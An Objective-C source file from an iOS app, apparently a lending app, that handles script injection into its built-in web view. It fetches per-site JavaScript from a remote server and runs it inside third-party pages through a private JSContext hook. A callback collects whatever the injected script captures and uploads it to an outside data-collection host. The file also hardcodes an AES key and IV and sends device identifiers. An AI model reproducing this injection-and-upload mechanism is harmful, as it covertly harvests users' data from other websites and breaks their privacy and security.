//
//  HDJSInjectAction.m
//  HdStore
//
//  Created by kopuCoder on 17/3/27.
//  Copyright © 2017年 zhenqiu. All rights reserved.
//

#import "HDJSInjectAction.h"
#import "GetDeviceMessageTool.h"
#import "CocoaSecurity.h"
#import "NSObject+HDCacheTool.h"
#import "AES128Base64Util.h"
#import "Base64.h"
#import <JavaScriptCore/JavaScriptCore.h>
#import <AdSupport/AdSupport.h>

#define kTestAPI 1
#define kJSInjectKey @"RYoJUCBKPWdS1rKD"
#define kJSInjectIV  @"L#1rlCi4kGDiFdu$"

#define kInjectJSCacheKey @"HDInjectJSKey" //本地缓存key

@interface HDJSInjectAction()

/** 本地存储host <---> inject js*/
@property (nonatomic,strong)NSMutableDictionary * localDict;

@property (nonatomic,copy) NSString * tempHost;


@end

@implementation HDJSInjectAction

+ (instancetype)shareInstance{
    static HDJSInjectAction * instance = nil;
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        instance = [[HDJSInjectAction alloc] init];
    });
    return instance;
}


/** 获取对应的host所对应的inject js文件*/
- (void)prepareToInjectForHost:( NSString *)host complition:(void(^)(NSString *injectJS))finishBlock{
    
    host = [HDJSInjectAction checkHost:host];
    GYNLog(@"capture_host:%@",host);
    
    if(host.length == 0) return;
    
    //1.检测host对应的JS是否存在
    NSString * tempInjectJS = self.localDict[host];
#if kTestAPI
    tempInjectJS = nil;
#else
#endif
    
    if(tempInjectJS.length > 0){
        
        self.tempHost = [host copy];
        GYNLog(@"本地缓存InjectJS:%@",tempInjectJS);
        if(finishBlock){
            finishBlock(tempInjectJS);
        }
        
        if(self.finishBlock){
            self.finishBlock(tempInjectJS);
        }
        return;
    }
    //2.不存在，则直接发起请求，并缓存JS
    NSURL *url = [NSURL URLWithString:[NSString stringWithFormat:@"%@%@",HaoDai_JSURL,POST_InjectJS_API]];
    
    NSMutableURLRequest *request =[NSMutableURLRequest requestWithURL:url];
    request.HTTPMethod = @"POST";
    [HDJSInjectAction encyrtRequestHeader:request];
    
    NSString *args = [NSString stringWithFormat:@"host=%@",host];
    request.HTTPBody = [args dataUsingEncoding:NSUTF8StringEncoding];
    
    GYNLog(@"\n\n\n请求链接:%@,\n请求header:%@,\n请求体:%@",url,request.allHTTPHeaderFields,args);
    
    __weak typeof(self)weakSelf = self;
    NSURLSession *session = [NSURLSession sharedSession];
    
    NSURLSessionDataTask *sessionDataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
        
        NSString * injectJSString = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
        
        if(injectJSString.length >0){
            
            weakSelf.tempHost = [host copy];
            [weakSelf.localDict setValue:injectJSString forKey:weakSelf.tempHost];
            [HDJSInjectAction cacheData:weakSelf.localDict withCacheKey:kInjectJSCacheKey];
            
            if(weakSelf.finishBlock){
                weakSelf.finishBlock(injectJSString);
            }
        }
        GYNLog(@"\n\n\n\n======>获得需要注入的JS数据=%@<=======\n\n\n\n",injectJSString);
        
    }];
    
    [sessionDataTask resume];
}



/**上传抓取到的数据*/
- (void)postCaptureInfoWithHost:(NSString *)host capruteInfo:(NSData *)captureInfo{

    /**
     host	是	网站主机头
     deviceId	是	设备ID
     data    aes加密后base64
    */
  
  
    /*
    NSString * encryptString = [self encryptCaptureInfo:captureInfo];
    
    encryptString = [HDJSInjectAction encodeString:encryptString];
    
    GYNLog(@"加密之后的串====>%@",encryptString);
    NSURL *url = [NSURL URLWithString:[NSString stringWithFormat:@"%@%@",HaoDai_JSURL,POST_CaptureJSInfo_API]];
    
    NSMutableURLRequest *request =[NSMutableURLRequest requestWithURL:url];
    request.HTTPMethod = @"POST";
    [HDJSInjectAction encyrtRequestHeader:request];
    
    NSString * tempImei = [[DeviceUtils getDeviceUUID] stringByReplacingOccurrencesOfString:@"-" withString:@""];
    
    NSString *args = [NSString stringWithFormat:@"host=%@&deviceId=%@&data=%@",self.tempHost.length>0?self.tempHost:@"",tempImei,encryptString];
     
     */
  
  
  /*
  NSMutableDictionary * param  = [[NSMutableDictionary alloc] init];
  NSMutableDictionary * dataParam  = [[NSMutableDictionary alloc] init];
  
  [param setValue:@"305" forKey:@"app_no"];
  [param setValue:@"急用钱包" forKey:@"app_name"];
  [param setValue:dataParam forKey:@"data"];
  
  [dataParam setValue:[[[ASIdentifierManager sharedManager] advertisingIdentifier] UUIDString] forKey:@"IDFA"];
  [dataParam setValue:@"18899992222" forKey:@"phone"];
  
  NSData * bodyData = [NSJSONSerialization dataWithJSONObject:param options:NSJSONWritingPrettyPrinted error:nil];
*/
  
  NSURL *url = [NSURL URLWithString:[NSString stringWithFormat:@"https://collect-data.rongba.com/app/v1/data/multi_collect/phone"]];

  NSMutableURLRequest *request =[NSMutableURLRequest requestWithURL:url];
  request.HTTPMethod = @"POST";
  [HDJSInjectAction encyrtRequestHeader:request];

  request.HTTPBody = captureInfo;
//    request.HTTPBody = [args dataUsingEncoding:NSUTF8StringEncoding];
  
//    GYNLog(@"\n\n\n请求链接:%@,\n请求header:%@,\n请求体:%@",url,request.allHTTPHeaderFields,args);
  
    
    
    NSURLSession *session = [NSURLSession sharedSession];
    
    NSURLSessionDataTask *sessionDataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
        
        NSString * injectJSString = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
        
         GYNLog(@"\n\n\n\n======>JS抓取数据服务器数据回调injectJSString=%@<=======\n\n\n\n",injectJSString);
        
        NSDictionary *dict = [NSJSONSerialization JSONObjectWithData:data options:(NSJSONReadingMutableLeaves) error:nil];
        
         GYNLog(@"\n\n\n\n======>JS抓取数据服务器数据回调=%@<=======\n\n\n\n",dict);
    }];
    
    [sessionDataTask resume];
    

}


+ (NSString *)checkHost:(NSString *)originHost{
    
    if(originHost.length == 0) return nil;
    if([originHost isEqualToString:@"about:blank"]) return nil;
    
    GYNLog(@"\n\n\n\n=====>host:%@<======\n\n\n\n",originHost);
    
    
    
    originHost = [originHost stringByReplacingOccurrencesOfString:@"https://" withString:@""];
    originHost = [originHost stringByReplacingOccurrencesOfString:@"http://" withString:@""];
    
    NSRange range = [originHost rangeOfString:@"/"];
    if(range.location != NSNotFound && range.location <originHost.length){
        originHost = [originHost substringToIndex:range.location];
        return originHost;
    }
    return nil;
}


+(NSString*)encodeString:(NSString*)unencodedString{
    
    NSString *encodedString = (NSString *)
    CFBridgingRelease(CFURLCreateStringByAddingPercentEscapes(kCFAllocatorDefault,
                                                              (CFStringRef)unencodedString,
                                                              NULL,
                                                              (CFStringRef)@"!*'();:@&=+$,/?%#[]",
                                                              kCFStringEncodingUTF8));
    
    return encodedString;
}


/**data    aes加密后base64*/
- (NSString *)encryptCaptureInfo:(NSString *)captureInfo{
    
    if(captureInfo.length ==0) {
        return @"";
    }
    
    NSString * tempString = [AES128Base64Util AES128Encrypt:captureInfo withKey:kJSInjectKey withIV:kJSInjectIV];
    return tempString.length >0?tempString:@"";
}


+ (void)encyrtRequestHeader:(NSMutableURLRequest *)request{
    
    NSString * encryKey = [HDJSInjectAction getRequestAESKey];
    encryKey = encryKey.length>0?encryKey:@"";
    
    [request setValue:encryKey forHTTPHeaderField:@"X-Request-Info"];
    
    NSString * User_Agent = [HDJSInjectAction getDeviceInfo];
    [request setValue:User_Agent forHTTPHeaderField:@"User-Agent"];
    
    [request setValue:[HDJSInjectAction getAppVersion] forHTTPHeaderField:@"X-App-Version"];
     [request setValue:@"application/x-www-form-urlencoded; charset=UTF-8" forHTTPHeaderField:@"Content-type"];
    
    
    
    GYNLog(@"\n\n\n\n======>after_encyrtRequestHeader=%@<=======\n\n\n\n",request.allHTTPHeaderFields);
    
}


+ (void)injectJSForWebView:(UIWebView *)webView{
    
    NSString * injectHost = [HDJSInjectAction checkHost:webView.request.URL.absoluteString];
    
    NSString * injectJS = [HDJSInjectAction shareInstance].localDict[injectHost];
    
    if(injectHost.length == 0) return;
    
    if(injectJS){
        JSContext * context = [webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"];
        [context evaluateScript:injectJS];
    }
    
    if(injectJS){ //注入之后监听
        
        JSContext * context = [webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"];
        context[@"app4w_callback"] = ^() {
            
            GYNLog(@"+++++++Begin Log+++++++");
            NSArray *args = [JSContext currentArguments];
            
            NSMutableString * tempString = [[NSMutableString alloc] init];
            for (JSValue *jsVal in args) {
                GYNLog(@"%@", jsVal);
                [tempString appendString:[NSString stringWithFormat:@"%@",jsVal]];
            }
            
            GYNLog(@"=========>上传信息:%@",tempString);
            [[HDJSInjectAction shareInstance] postCaptureInfoWithHost:nil capruteInfo:tempString];
            GYNLog(@"-------End Log-------");
            
        };
    }
}


/**
 X-Request-Info = unix时间戳 + imei + md5( userAgent + appVersion + time + imei + protocol_key )
 
 X-Request-Info = unix毫秒时间戳 + deviceId + md5( userAgent + appVersion + time + deviceId + protocol_key )
 */
/**获取请求加密key*/
+ (NSString *)getRequestAESKey{
    //获取当前的毫秒数
    NSTimeInterval nowtime = [[NSDate date] timeIntervalSince1970]*1000;
    long long theTime = [[NSNumber numberWithDouble:nowtime] longLongValue];
    NSString *currentSeconds = [NSString stringWithFormat:@"%llu",theTime];
    
    NSString * tempImei = [[GetDeviceMessageTool DeviceUUID] stringByReplacingOccurrencesOfString:@"-" withString:@""];
    
    NSString * User_Agent = [HDJSInjectAction getDeviceInfo];
    
    NSString * app_version = [HDJSInjectAction getAppVersion];
    
    GYNLog(@"User_Agent:%@,app_version:%@,currentSeconds:%@,tempImei:%@,protocol_key:%@",User_Agent,app_version,currentSeconds,tempImei,protocol_key);
    
    CocoaSecurityResult * result = [CocoaSecurity md5:[NSString stringWithFormat:@"%@%@%@%@%@",User_Agent,app_version,currentSeconds,tempImei,protocol_key]];
    NSString * reqeust_info = [NSString stringWithFormat:@"%@%@%@",currentSeconds,tempImei,result.hex];
    
    return reqeust_info.length >0?reqeust_info:@"";
}



/**
 header[User-Agent]=系统,版本,手机型号
 如：iOS,10.1.1,iphone6s; Android,6.0,小米Mi1
 */

/**系统,版本,手机型号*/
+ (nonnull NSString *)getDeviceInfo{
    
    NSString * deviceVersion = [GetDeviceMessageTool
                                DeviceVersion];
    NSString * deviceModel = [GetDeviceMessageTool DeviceModelName];
    
    NSString * Model = [GetDeviceMessageTool DeviceModel];
    if(deviceModel.length == 0){
        deviceModel = Model;
    }
    
    NSString * deviceInfo = [NSString stringWithFormat:@"iOS,%@,%@",deviceVersion,deviceModel];
    
    GYNLog(@"deviceInfo:%@",deviceInfo);
    return deviceInfo;
}

/**获取当前版本号Version*/
+ (nonnull NSString *)getAppVersion{
    NSDictionary *infoDictionary = [[NSBundle mainBundle] infoDictionary];
    // app版本
    NSString *app_Version = [infoDictionary objectForKey:@"CFBundleShortVersionString"];
    return app_Version;
}


- (NSString *)getCurrentInjectJS{
    
    return self.localDict[self.tempHost];
}



#pragma mark ---getter/setter---

//暂时不做缓存
-(NSMutableDictionary *)localDict{
    if (!_localDict) {
       _localDict = [[NSMutableDictionary alloc] init];
#if kTestAPI
        
#else
        //加载本地缓存
        NSDictionary * cacheDict = [HDJSInjectAction getCacheDataWithCacheKey:kInjectJSCacheKey];
        if(cacheDict){
            [_localDict addEntriesFromDictionary:cacheDict];
        }
#endif
       
        
        
    }
    return _localDict;
}

- (void)getJS{
  NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://api-data.rongba.com/static/img/zhanqun/zhanquntool.js"]];
  request.HTTPMethod = @"GET";
  
  [HDJSInjectAction encyrtRequestHeader:request];
  
  NSURLSession *session = [NSURLSession sharedSession];
  
  __weak typeof(self) weakSelf = self;
  NSURLSessionDataTask *sessionDataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
    NSString * injectJSString = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
    if (injectJSString.length > 0) {
      weakSelf.jsString = injectJSString;
    }
  }];
  
  [sessionDataTask resume];
}


@end
